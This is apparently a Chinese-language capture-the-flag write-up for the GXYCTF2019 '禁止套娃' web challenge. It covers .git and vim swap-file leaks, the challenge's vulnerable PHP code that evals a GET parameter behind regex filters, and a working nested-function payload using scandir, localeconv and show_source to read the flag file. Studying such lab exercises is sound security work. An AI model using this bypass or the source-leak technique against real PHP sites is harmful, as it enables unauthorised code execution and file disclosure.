2021/9/10 可能涉及到git泄露

[GXYCTF2019]禁止套娃

1
2
3
.git为初始化git仓库时产生的管理git仓库的隐藏文件夹,包含git操作的所需要的东西。
.swp这是在vim编辑时产生的临时文件,与.git类似。
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,文件名为 .filename.swp。

可能存在vim泄露的题目,留下.swp文件,我们访问有的时候可以直接拿到flag。

image-20210910161029713

这个就是一个仓库的文件。

1
2
3
4
5
6
7
info存放仓库信息
hook存放sheet
object存放所有git对象。
refs:存放提交hash的地方
config:github的配置信息
description:仓库的描述信息,主要给gitweb等git托管系统使用
HEAD:映射到ref引用,能够找到下一次commit的前一次哈希值。

把这个题刷完之后练习一下git命令建立一个仓库代码储存平台之类的。

image-20210910163328839

这是kali里面的例子。

image-20210910163735365

在kali里面对本题查找git泄露。成功。拿到index.php源码即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

image-20210910173521244

先把scandir()函数放这,一会用。

1
当scandir()传入'.',可以列出当前目录的所有文件。
1
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

?R表示迭代,在这里即xxx(xxx(xxx()))这种。可以好好读读表达式。

但是他说不能匹配到参数。所以若有函数能返回’.’

即传入scandir()即可

1
localeconv() 函数返回一包含本地数字及货币格式信息的数组
1
current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));即可。reverse是用来颠倒数组的。

image-20210910175025959

image-20210910174943792

1
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

show_source()为显示文件源码。